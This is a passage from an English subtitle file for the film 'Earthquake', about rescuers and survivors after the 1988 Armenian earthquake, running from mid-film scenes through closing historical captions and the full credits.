- He is taking care of his mother.

441
00:57:20.719 --> 00:57:22.369
Let me help you.

442
00:57:25.439 --> 00:57:27.727
Robert, tell me, where is Suren?

443
00:57:28.920 --> 00:57:30.570
I don't know.

444
00:57:31.680 --> 00:57:32.966
This Suren...

445
00:57:34.280 --> 00:57:35.520
Is he your husband?

446
00:57:36.360 --> 00:57:38.489
He is my brother.
Older brother.

447
00:57:39.241 --> 00:57:40.402
Mom died when she had me.

448
00:57:41.401 --> 00:57:44.326
And Dad - when I was 14.

449
00:57:47.001 --> 00:57:49.288
Suren was taking care of me all this time.

450
00:57:49.801 --> 00:57:51.645
We are not so different, you and I.

451
00:57:53.562 --> 00:57:55.405
I also haven't had a childhood.

452
00:57:57.563 --> 00:58:00.533
My parents died in a car crash
when I was 12.

453
00:58:00.882 --> 00:58:03.011
And my brother took care
of me ever since.

454
00:58:03.563 --> 00:58:05.691
Well, he's not my brother.
A second cousin.

455
00:58:07.764 --> 00:58:10.369
Please, I'm begging you.
Talk to me some more.

456
00:58:15.124 --> 00:58:17.251
- Let me help you.
- No, I got it.

457
00:58:18.723 --> 00:58:20.647
You're so independent.

458
00:58:23.604 --> 00:58:25.448
Where is your Mom?

459
00:58:25.805 --> 00:58:27.250
We're here.

460
00:58:28.525 --> 00:58:30.128
Here, Mommy. Have some.

461
00:58:34.325 --> 00:58:37.773
Mom. Mommy, what happened?!

462
00:58:38.126 --> 00:58:40.447
- Shhh. Mommy is asleep!
- Mom! Mommy!

463
00:58:41.126 --> 00:58:43.414
- Don't wake her up. Let's go.
- Mommy! Let me go!

464
00:58:43.727 --> 00:58:45.535
Mommy! Let me go!

465
00:58:53.847 --> 00:58:55.771
Are you Erem?

466
00:58:57.328 --> 00:58:59.170
Who wants to know?

467
00:58:59.527 --> 00:59:01.098
Go there, get warm.

468
00:59:04.128 --> 00:59:06.176
I'm so happy for you, Erem.

469
00:59:06.888 --> 00:59:08.731
Have you gone mad, woman?

470
00:59:09.368 --> 00:59:10.654
What is there to be happy about?

471
00:59:11.008 --> 00:59:14.171
Your daughter is alive.
And you're a grandfather now.

472
00:59:14.648 --> 00:59:16.059
Congratulations!

473
00:59:16.488 --> 00:59:17.694
Why are you yelling?

474
00:59:19.969 --> 00:59:21.698
Hurry up, Erem, please.

475
00:59:23.049 --> 00:59:24.734
They are waiting for you
at the hospital.

476
00:59:26.490 --> 00:59:27.695
Don't tell me what to do.

477
00:59:29.289 --> 00:59:30.860
That kid has parents.

478
00:59:33.050 --> 00:59:35.657
Or has his deadbeat dad already fled?

479
00:59:36.411 --> 00:59:37.742
What are you talking about?

480
00:59:39.851 --> 00:59:41.740
I knew it was going to turn out this way.

481
00:59:42.731 --> 00:59:44.062
That's one unlucky kid.

482
00:59:45.131 --> 00:59:46.542
Father is a scallywag.

483
00:59:47.212 --> 00:59:48.418
Mother is a flirt.

484
00:59:48.892 --> 00:59:51.463
Your daughter is amazing.
And her husband is a hero.

485
00:59:53.093 --> 00:59:54.982
He saved my boy, my Arsen.

486
00:59:56.612 --> 00:59:58.694
Lost his life but saved him.

487
01:00:24.455 --> 01:00:26.343
I'll be grateful to you till the end
of my days

488
01:00:26.694 --> 01:00:28.184
for raising such a great daughter

489
01:00:29.495 --> 01:00:30.701
and for her husband.

490
01:00:31.895 --> 01:00:33.340
I'll kiss your hands.

491
01:00:34.015 --> 01:00:35.381
Don't get crazy.

492
01:00:38.496 --> 01:00:39.826
Thank you.

493
01:00:43.296 --> 01:00:45.776
Arsen, let's go, my dear.

494
01:00:47.817 --> 01:00:49.501
Let's go, my love.

495
01:00:56.057 --> 01:00:58.299
Ashkhen.

496
01:01:00.098 --> 01:01:03.180
We are grandparents now.

497
01:01:06.498 --> 01:01:08.386
Robert!

498
01:01:12.458 --> 01:01:14.267
Hello, my friend.

499
01:01:15.339 --> 01:01:17.546
Here. This is for you.

500
01:01:18.379 --> 01:01:19.869
It's from my father.

501
01:01:21.260 --> 01:01:22.863
Sandwiches.

502
01:01:23.219 --> 01:01:24.630
Enjoy.

503
01:01:24.939 --> 01:01:26.748
Where did you get such a luxury?

504
01:01:27.620 --> 01:01:29.543
- Eat.
- Thank you.

505
01:01:31.580 --> 01:01:33.390
Senik?

506
01:01:35.061 --> 01:01:36.631
Senik!

507
01:01:42.061 --> 01:01:43.426
Senik!

508
01:01:43.781 --> 01:01:45.113
You're alive!

509
01:01:50.423 --> 01:01:52.823
- How are the folks?
- All good. How are you?

510
01:01:53.182 --> 01:01:55.389
Look, you can get anything, right?

511
01:01:55.862 --> 01:01:57.513
I need a crane here.
Can you help?

512
01:01:57.863 --> 01:01:59.102
Sure thing, brother.

513
01:01:59.422 --> 01:02:02.154
Join us and you will have
anything you want.

514
01:02:18.424 --> 01:02:19.836
No, Senik.

515
01:02:21.864 --> 01:02:23.548
I can't join this.

516
01:02:24.784 --> 01:02:26.549
Good bye.

517
01:02:32.026 --> 01:02:33.746
- He will rat us out, Senik.
- No, he won't.

518
01:02:33.826 --> 01:02:34.986
It's Robert. He's my brother.

519
01:02:35.345 --> 01:02:37.616
- What are you talking about - "brother"?
- He's my cousin.

520
01:02:37.666 --> 01:02:39.907
But when his parents died, my father
took him in.

521
01:02:40.386 --> 01:02:41.797
He won't rat us out.

522
01:02:48.867 --> 01:02:50.631
Is he a dog trainer?

523
01:02:51.627 --> 01:02:52.958
Didier is a rescue ranger.

524
01:02:53.267 --> 01:02:55.509
Him and Gilles came all
the way from France

525
01:02:55.868 --> 01:02:57.517
to look for people
under the ruins.

526
01:02:57.867 --> 01:03:00.108
- Are you a rescue ranger too?
- I'm an interpreter.

527
01:03:07.828 --> 01:03:09.557
Good boy.

528
01:03:10.548 --> 01:03:12.517
Thank you, Didier.

529
01:03:15.749 --> 01:03:17.239
Does this kid have a family?

530
01:03:18.429 --> 01:03:21.956
He was outside with his mother.
She passed.

531
01:03:23.629 --> 01:03:25.712
- Does he know?
- No.

532
01:03:28.110 --> 01:03:30.921
Marina, where is Mom?

533
01:03:37.751 --> 01:03:41.962
Vanya, let's go see more puppies.

534
01:03:42.672 --> 01:03:44.037
Didier will show us.

535
01:03:46.152 --> 01:03:47.802
Can Mom come too?

536
01:03:49.192 --> 01:03:50.478
Of course.

537
01:03:51.472 --> 01:03:53.156
But later.

538
01:03:54.792 --> 01:03:57.796
Lift! Again! go!

539
01:04:01.592 --> 01:04:03.879
- Careful!
- Hold it on that side!

540
01:04:05.673 --> 01:04:08.074
- This way, this way!
- One more time.

541
01:04:09.553 --> 01:04:10.884
That's it.

542
01:04:12.834 --> 01:04:14.836
There are more people.

543
01:04:16.073 --> 01:04:17.917
- Alive?
- Let me check.

544
01:04:24.395 --> 01:04:26.318
What's going on down there?

545
01:04:26.795 --> 01:04:30.242
All my life I thought I was miserable.

546
01:04:31.235 --> 01:04:34.318
And right now I think
that I got lucky.

547
01:04:35.396 --> 01:04:37.196
I'm all alone so I don't have
to bury anybody.

548
01:04:37.356 --> 01:04:39.279
There are more people here!

549
01:05:50.201 --> 01:05:51.772
Katya...

550
01:05:52.122 --> 01:05:54.011
My baby...

551
01:05:56.681 --> 01:05:58.332
Katya.

552
01:06:00.242 --> 01:06:02.449
My baby girl.

553
01:06:05.083 --> 01:06:06.847
My baby.

554
01:07:27.850 --> 01:07:29.420
My family.

555
01:07:29.970 --> 01:07:32.019
A wife and two kids.

556
01:07:43.652 --> 01:07:45.574
A daughter and a son - Vanya.

557
01:07:53.571 --> 01:07:55.415
I thought I could.

558
01:08:00.773 --> 01:08:02.343
And I can't.

559
01:08:02.813 --> 01:08:05.293
I can't pull him out of there...

560
01:08:06.973 --> 01:08:08.418
...dead.

561
01:08:21.054 --> 01:08:22.294
Your son is alive.

562
01:08:22.654 --> 01:08:23.861
He's alive.

563
01:08:24.855 --> 01:08:26.141
And your wife is alive.

564
01:08:29.215 --> 01:08:30.786
Most likely they weren't home.

565
01:08:31.136 --> 01:08:33.537
Otherwise we would've found them
by now.

566
01:08:38.896 --> 01:08:40.898
We need to keep believing.

567
01:08:43.616 --> 01:08:45.903
Keep believing and keep looking.

568
01:08:47.097 --> 01:08:48.428
There's no time for despair.

569
01:08:54.897 --> 01:08:56.422
You're right.

570
01:08:57.817 --> 01:08:59.741
We need to keep looking.

571
01:09:08.338 --> 01:09:10.580
We need to keep looking.

572
01:10:06.543 --> 01:10:08.864
I'm guilty before you, Varouj.

573
01:10:09.424 --> 01:10:11.074
Please, forgive me.

574
01:10:15.305 --> 01:10:16.749
I'll come back.

575
01:10:17.224 --> 01:10:20.307
I promise. I will take this down brick
by brick.

576
01:10:22.065 --> 01:10:23.476
I will dig you out.

577
01:10:26.545 --> 01:10:28.753
I will bury you properly

578
01:10:31.265 --> 01:10:34.987
so your son could visit your grave

579
01:10:37.145 --> 01:10:38.910
and shed his tears.

580
01:10:52.027 --> 01:10:54.234
I understood.

581
01:10:56.228 --> 01:10:58.629
I understood everything.
Dear God...

582
01:11:03.308 --> 01:11:04.753
But why?

583
01:11:06.108 --> 01:11:08.715
Why do your explanations have to be
so painful?

584
01:11:11.749 --> 01:11:15.071
Why so painful?

585
01:11:48.711 --> 01:11:51.033
Please forgive me, daughter.

586
01:12:09.754 --> 01:12:11.482
Let's go home.

587
01:12:44.596 --> 01:12:46.246
Daddy...

588
01:12:47.877 --> 01:12:49.879
Daddy.

589
01:12:50.637 --> 01:12:52.287
Daddy!

590
01:12:53.438 --> 01:12:55.007
Daddy...

591
01:12:58.637 --> 01:12:59.844
Lilit.

592
01:13:01.838 --> 01:13:03.602
What would you do...

593
01:13:04.118 --> 01:13:05.723
...if you were to meet a person...

594
01:13:07.279 --> 01:13:10.680
...who is responsible for
your parent's death?

595
01:13:11.799 --> 01:13:14.006
I don't have anyone to blame
in my father's death.

596
01:13:17.400 --> 01:13:20.688
And my mother's passing is on me,
I guess.

597
01:13:23.040 --> 01:13:24.451
It happens.

598
01:13:26.240 --> 01:13:28.972
You're hurt; you're looking
for someone responsible.

599
01:13:29.281 --> 01:13:31.009
But no one is.

600
01:14:29.925 --> 01:14:33.214
<i>KONSTANTIN BEREZHNOY,
17 SHIRAKATSI ST.</i>

601
01:14:54.327 --> 01:14:57.889
If I'm still alive,
I don't want to die slowly.

602
01:14:58.168 --> 01:15:00.330
- Help me, Robert.
- I'll help you, Lilit.

603
01:15:02.769 --> 01:15:05.055
- Help me die.
- Don't say that!

604
01:15:05.848 --> 01:15:08.089
- You will live!
- Just let me pass.

605
01:15:08.409 --> 01:15:10.059
I will not let you die!

606
01:15:10.609 --> 01:15:12.418
I want to see you alive!

607
01:15:12.929 --> 01:15:14.580
I want to see you too, Robert.

608
01:15:15.250 --> 01:15:16.850
But you don't exist.
You're just a voice.

609
01:15:17.170 --> 01:15:18.933
This is my voice, Lilit!

610
01:15:20.290 --> 01:15:22.770
I will do everything
for you to live.

611
01:15:23.250 --> 01:15:25.331
- You're not there.
- He is here.

612
01:15:30.050 --> 01:15:31.461
You're alive, girl.

613
01:15:31.931 --> 01:15:33.375
You just need to hold on for a bit.

614
01:15:33.730 --> 01:15:35.573
We will not leave you here.

615
01:15:36.090 --> 01:15:37.741
I promise.

616
01:15:41.291 --> 01:15:42.816
Thank you.

617
01:15:59.973 --> 01:16:02.055
Bingo! A jewelry store.

618
01:16:02.413 --> 01:16:05.133
Why the hell are you yelling? The cop
is right around here somewhere.

619
01:16:05.293 --> 01:16:08.696
- No one's there. The timing is perfect.
- I said, later!

620
01:16:29.815 --> 01:16:31.544
We have 5 minutes.

621
01:16:34.615 --> 01:16:36.265
You're on the lookout.

622
01:16:42.577 --> 01:16:44.420
Lieutenant, lieutenant!

623
01:16:45.736 --> 01:16:47.579
I recognized you.
I saw it all!

624
01:16:47.936 --> 01:16:50.056
There is a thief.
He threw a rock in the window and...

625
01:16:50.257 --> 01:16:51.861
- I got this!
- I saw it all!

626
01:16:59.257 --> 01:17:00.783
Hit the floor!

627
01:17:02.098 --> 01:17:03.588
Hands behind your head!

628
01:17:03.938 --> 01:17:05.668
Easy, my friend.

629
01:17:06.179 --> 01:17:07.829
On the ground!

630
01:17:10.299 --> 01:17:12.064
On the ground!

631
01:17:18.740 --> 01:17:22.186
What have you done?
Now we have to skip town!

632
01:17:22.579 --> 01:17:24.860
- We'll get a car and split.
- Checkpoints are everywhere.

633
01:17:24.940 --> 01:17:26.570
They won't let us through
without checking.

634
01:17:26.620 --> 01:17:30.386
It'll depend on the car.
We'll take your brother's truck.

635
01:17:37.901 --> 01:17:40.063
Now we're doing things
my way, got that?

636
01:17:40.781 --> 01:17:43.671
Whoever got anything
to say can join the cop.

637
01:17:51.222 --> 01:17:53.703
<i>DAY 3...</i>

638
01:17:57.502 --> 01:17:58.868
Stop! Stop!

639
01:17:59.583 --> 01:18:01.187
Stop!

640
01:18:02.383 --> 01:18:04.625
We've been waiting for you!
Where are you from?

641
01:18:04.944 --> 01:18:08.187
Rostov. I heard about
you on the radio and decided to come.

642
01:18:08.664 --> 01:18:10.474
- You are from Rostov?
- Why?

643
01:18:10.785 --> 01:18:13.674
I went straight here. People gave me
free gas along the way

644
01:18:14.024 --> 01:18:15.944
as soon as they knew
I was coming to save people.

645
01:18:16.265 --> 01:18:18.094
Are we going to chatter
or are we going to work?

646
01:18:18.144 --> 01:18:19.669
Follow me! I'll show you the way.

647
01:18:25.185 --> 01:18:26.788
Come on...

648
01:18:27.664 --> 01:18:29.633
Stop, stop! Stop!

649
01:18:36.866 --> 01:18:38.106
- Hey.
- Hey. Listen,

650
01:18:38.626 --> 01:18:39.906
we got a girl under these slabs.

651
01:18:40.186 --> 01:18:42.188
You need to secure
to the ground and on my command

652
01:18:42.666 --> 01:18:44.555
yank the top slab up.

653
01:18:45.467 --> 01:18:47.537
- Are we good with only one crane?
- We also got a truck.

654
01:18:47.587 --> 01:18:50.670
And if we're lucky, the knot on the cable
will hold the other slab.

655
01:18:51.067 --> 01:18:53.639
- And what if it doesn't?
- If it doesn't, she'll die.

656
01:18:55.027 --> 01:18:57.227
- We need a second crane.
- We don't have time for that.

657
01:18:57.428 --> 01:18:58.759
The nights are getting colder.

658
01:18:58.988 --> 01:19:00.672
Are we going to save
some people, or what?

659
01:19:00.908 --> 01:19:03.071
There is a possibility
that everything will fall down.

660
01:19:03.869 --> 01:19:07.590
But we won't get a better chance
than this. Let's go. Let's do it.

661
01:19:20.549 --> 01:19:23.598
I can't understand
what's written on it.

662
01:19:25.069 --> 01:19:27.038
It's an address.

663
01:19:27.550 --> 01:19:31.236
Some Konstantin Berezhnoy
is looking for them.

664
01:19:34.791 --> 01:19:36.475
Thank you, Didier.

665
01:19:44.272 --> 01:19:45.797
Come on, come on, come on.

666
01:19:48.712 --> 01:19:50.556
- Robert, I'm scared.
- I will be here.

667
01:19:55.472 --> 01:19:57.760
When you see the light,
crawl to it, but be swift.

668
01:20:19.234 --> 01:20:21.316
Go, go, easy, easy.

669
01:20:26.075 --> 01:20:27.281
Come on, come on, come on.

670
01:20:29.835 --> 01:20:31.725
Pull.

671
01:20:39.596 --> 01:20:41.041
Get out.

672
01:20:42.156 --> 01:20:43.841
I said, get out.

673
01:20:45.517 --> 01:20:48.397
- I can't take my foot off the pedal.
- Will a hole to the head help you?

674
01:20:48.678 --> 01:20:49.963
No!

675
01:20:53.317 --> 01:20:55.161
Senik, tell him.

676
01:20:55.678 --> 01:20:58.363
Just give us the truck
and we'll be gone.

677
01:21:00.038 --> 01:21:01.803
There is a girl under the slab.

678
01:21:02.319 --> 01:21:04.161
If I move...

679
01:21:05.078 --> 01:21:06.285
If...

680
01:21:08.199 --> 01:21:10.247
- She will die.
- Enough.

681
01:21:11.398 --> 01:21:13.640
Senik is not in charge here.

682
01:21:16.039 --> 01:21:18.168
Step away from the truck.

683
01:21:24.920 --> 01:21:26.365
So what?

684
01:21:27.880 --> 01:21:29.963
Are you going to shoot me or what?

685
01:21:42.202 --> 01:21:43.806
You took it out.

686
01:21:44.442 --> 01:21:46.171
Now shoot.

687
01:22:12.204 --> 01:22:14.605
- Are you OK?
- I'm fine.

688
01:22:14.964 --> 01:22:17.888
Alright. Carry on! Come on.

689
01:22:19.684 --> 01:22:21.288
Lift it up.

690
01:22:40.287 --> 01:22:42.858
- Lilit, it's time to crawl!
- I can't! My foot!

691
01:22:45.166 --> 01:22:46.373
It's stuck, Robert!

692
01:23:31.810 --> 01:23:33.495
Buddy, it's not polite to stare.

693
01:23:33.931 --> 01:23:36.172
I'm not staring. I'm admiring.

694
01:23:41.292 --> 01:23:42.816
Rob.

695
01:23:54.813 --> 01:23:56.703
It's good that we took the risk.

696
01:24:12.493 --> 01:24:14.701
I know who you are, kid.

697
01:24:26.735 --> 01:24:28.817
Find my family.

698
01:25:19.300 --> 01:25:22.429
<i>SHIRAKATSI ST.</i>

699
01:25:34.581 --> 01:25:35.821
How about some tea?

700
01:25:36.262 --> 01:25:37.945
The night will be cold.

701
01:25:38.861 --> 01:25:40.741
I'm sorry, I'm looking
for Konstantin Berezhnoy.

702
01:25:41.061 --> 01:25:43.668
Would you happen to know
where he could be?

703
01:25:47.622 --> 01:25:50.354
I never knew it could be that scary.

704
01:25:52.182 --> 01:25:55.187
Only war can be as scary as this.

705
01:25:56.343 --> 01:25:58.345
Everything is behind you now.

706
01:25:59.583 --> 01:26:01.073
No, Robert.

707
01:26:01.863 --> 01:26:05.026
Now we have to live
with this nightmare forever.

708
01:26:07.623 --> 01:26:09.068
Robert.

709
01:26:19.905 --> 01:26:21.668
Are you Vanya Berezhnoy?

710
01:26:23.265 --> 01:26:24.676
Yes.

711
01:26:25.905 --> 01:26:27.145
And you are?

712
01:26:32.706 --> 01:26:34.435
I'm his relative.

713
01:26:51.387 --> 01:26:53.629
Mr. Akopian! Mr. Akopian!

714
01:26:54.188 --> 01:26:55.838
Armen!

715
01:27:03.508 --> 01:27:07.069
I wanted to thank you for the gift.

716
01:27:09.428 --> 01:27:11.636
Your table saved my life.

717
01:27:41.632 --> 01:27:44.556
<i>DAY 4...</i>

718
01:27:53.793 --> 01:27:55.874
Ashkhen!

719
01:27:59.553 --> 01:28:02.032
Get up! Get up!

720
01:28:02.873 --> 01:28:04.477
Careful. Careful.

721
01:28:06.473 --> 01:28:08.362
Just like that.

722
01:28:12.794 --> 01:28:14.364
Ashkhen...

723
01:28:25.635 --> 01:28:29.607
Last time I danced like that was at
our wedding. Do you remember that?

724
01:28:34.636 --> 01:28:36.240
Oh, dear God!

725
01:28:44.038 --> 01:28:46.768
How are we going to live now?

726
01:28:47.357 --> 01:28:48.597
Well!

727
01:28:49.437 --> 01:28:52.884
- Disaster is upon us.
- To be alone is a disaster.

728
01:28:53.517 --> 01:28:54.757
And we are together.

729
01:28:56.718 --> 01:29:00.085
People have come from all over
the world to help us.

730
01:29:00.997 --> 01:29:03.319
- Yes...
- We've lived for 3000 years.

731
01:29:04.358 --> 01:29:06.486
- And we'll live some more.
- Yes.

732
01:29:08.119 --> 01:29:09.689
Yes.

733
01:29:13.039 --> 01:29:14.768
Gayane!

734
01:29:19.000 --> 01:29:20.411
This is your grandson.

735
01:29:22.920 --> 01:29:24.684
Oh my God...

736
01:29:25.761 --> 01:29:28.764
Lord, what a blessing!

737
01:30:10.644 --> 01:30:13.329
<i>TAJIKISTAN DONORS
TO BROTHERLY ARMENIA.</i>

738
01:30:19.925 --> 01:30:22.007
<i>ARMENIAN TRAGEDY IS OUR
COMMON PAIN AND SUFFERING.</i>

739
01:30:22.365 --> 01:30:24.050
<i>BROTHERS, BE STRONG!
GEORGIA IS WITH YOU.</i>

740
01:31:09.728 --> 01:31:11.811
<i>ARMENIAN INTERNATIONAL
COMMUNICATIONS COMMITTEE.</i>

741
01:31:21.170 --> 01:31:24.174
<i>WE HAVE SURVIVED.
WE ARE AT GRANDFATHER POGOSYANAG.</i>

742
01:31:49.732 --> 01:31:51.257
Mother...

743
01:32:14.934 --> 01:32:16.425
Attention!

744
01:32:16.775 --> 01:32:18.937
A moment of silence!

745
01:32:55.017 --> 01:32:59.352
<i>During the earthquake the energy
released equaled 1O atomic bombs</i>

746
01:32:59.503 --> 01:33:02.791
<i>dropped on Hiroshima in 1945.</i>

747
01:33:02.798 --> 01:33:05.917
<i>As a result of the earthquake 58
villages as well as the city of Spitak</i>

748
01:33:05.968 --> 01:33:08.055
<i>were erased from the
face of the Earth.</i>

749
01:33:08.158 --> 01:33:10.618
<i>The towns of Leninakan,
Stepanavan, Kirovakan,</i>

750
01:33:10.669 --> 01:33:13.191
<i>and over 300 more
settlements were destroyed.</i>

751
01:33:13.419 --> 01:33:16.719
<i>19,000 people were maimed.
25,000 people were killed.</i>

752
01:33:16.770 --> 01:33:19.736
<i>More than 500,000 people
were left homeless.</i>

753
01:33:19.899 --> 01:33:22.219
<i>Doctors, rangers, and
common people from Georgia</i>

754
01:33:22.270 --> 01:33:25.202
<i>were the first to come to the
rescue to the Armenian Republic.</i>

755
01:33:25.360 --> 01:33:27.907
<i>Later the rescue efforts and
recovery of the desolated areas</i>

756
01:33:27.958 --> 01:33:30.060
<i>were joined by all
the USSR Republics</i>

757
01:33:30.340 --> 01:33:33.026
<i>as well as Israel, Belgium,
Great Britain, Italy, Lebanon,</i>

758
01:33:33.241 --> 01:33:35.926
<i>Norway, France, Germany,
Switzerland, USA, and other countries.</i>

759
01:33:36.001 --> 01:33:39.410
<i>118 world states sent not
only humanitarian supplies</i>

760
01:33:39.561 --> 01:33:42.841
<i>but also specialists to
take part in quake relief.</i>

761
01:33:43.102 --> 01:33:45.407
<i>Despite the terrible
scope of the disaster,</i>

762
01:33:45.558 --> 01:33:48.165
<i>not a single child went
into an orphanage.</i>

763
01:33:48.341 --> 01:33:51.467
<i>All of the children were
adopted and found a new home.</i>

764
01:33:51.662 --> 01:33:58.148
EARTHQUAKE

765
01:33:59.743 --> 01:34:04.988
<i>Directed by:
Sarik Andreasyan.</i>

766
01:34:06.223 --> 01:34:10.309
<i>Produced by:
Ruben Dishdishyan.</i>

767
01:34:11.784 --> 01:34:16.074
<i>Producers: Aram Movsesyan
Gevond Andreasyan, Sarik Andreasyan.</i>

768
01:34:17.024 --> 01:34:20.074
<i>Executive Producer:
Galina Nakhimovskaya.</i>

769
01:34:20.945 --> 01:34:23.646
<i>Screenplay by:
Sergey Yudakov Aleksey Gravitskiy,</i>

770
01:34:23.697 --> 01:34:25.779
<i>Arsen Danielyan Hrant Barseghyan</i>

771
01:34:26.586 --> 01:34:29.066
<i>1st AD:
Aleksei Smoliar.</i>

772
01:34:29.987 --> 01:34:32.671
<i>Cinematography by:
Yuriy Korobeynikov.</i>

773
01:34:33.466 --> 01:34:37.472
<i>Music Producer: Vahagn Gevorgyan
Music by: Hayko.</i>

774
01:34:38.466 --> 01:34:41.470
<i>Production Design by:
David Dadunashvili.</i>

775
01:34:42.507 --> 01:34:45.271
<i>Costume Design by:
Gulnara Shakhmilova.</i>

776
01:34:46.146 --> 01:34:49.196
<i>Makeup Artist:
Anna Golubenko.</i>

777
01:34:50.187 --> 01:34:52.918
<i>Casting by:
Lika Leonidze.</i>

778
01:34:53.908 --> 01:34:57.958
<i>Edited by Georgiy lsahakyan with
Elena Denisevich and Olga Grinshpun.</i>

779
01:34:58.908 --> 01:35:01.991
<i>Sound Engineer:
Vasiliy Krachkovskiy.</i>

780
01:35:03.148 --> 01:35:06.870
<i>Konstantin Berezhnoy:
Konstantin LAVRONENKO.</i>

781
01:35:07.789 --> 01:35:11.476
<i>Anna:
Maria MIRONOVA.</i>

782
01:35:12.430 --> 01:35:15.876
<i>Robert:
Viktor STEPANYAN.</i>

783
01:35:16.950 --> 01:35:19.601
<i>Lilit:
Tatev HOVAKIMYAN.</i>

784
01:35:20.550 --> 01:35:23.361
<i>Erem:
Mikael POGHOSYAN.</i>

785
01:35:24.231 --> 01:35:28.440
<i>Police Officer:
Hrant TOKHATYAN.</i>

786
01:35:29.751 --> 01:35:33.756
<i>Vanya Berezhnoy:
Daniil IZOTOV.</i>

787
01:35:34.832 --> 01:35:38.119
<i>Misha Mikael: JANIBEKYAN
Senik Sos: JANIBEKYAN.</i>

788
01:35:39.151 --> 01:35:42.678
<i>Red Arsen: GRIGORYAN
Didier Sisak: SEBASTIAN.</i>

789
01:35:43.631 --> 01:35:46.920
<i>Armen Armen: MARGARYAN
Curly Arman: NAVASARDYAN.</i>

790
01:35:47.752 --> 01:35:51.154
<i>Gayane Sabina: AKHMEDOVA
Varouj Sargis: GRIGORYAN.</i>

791
01:35:52.193 --> 01:35:56.164
<i>Woman with a child Marjik: AVETISYAN
Ashkhen Hasmik: ALEKSANYAN.</i>

792
01:35:57.112 --> 01:36:00.560
<i>Marina Arevik: MARTIROSYAN
Paramedic David: DADUNASHVILI.</i>

793
01:36:01.673 --> 01:36:04.161
<i>Flight Attendant Irina: BEZRUKOVA
Crane Driver Artem: BYSTROV.</i>

794
01:36:04.274 --> 01:36:06.599
<i>Suren Mikael: ARAMYAN
Guy from Yerevan Karen: MARTIROSYAN.</i>

795
01:36:06.794 --> 01:36:09.765
<i>Film by:
SARIK ANDREASYAN</i>


ZeroDay Forums Mini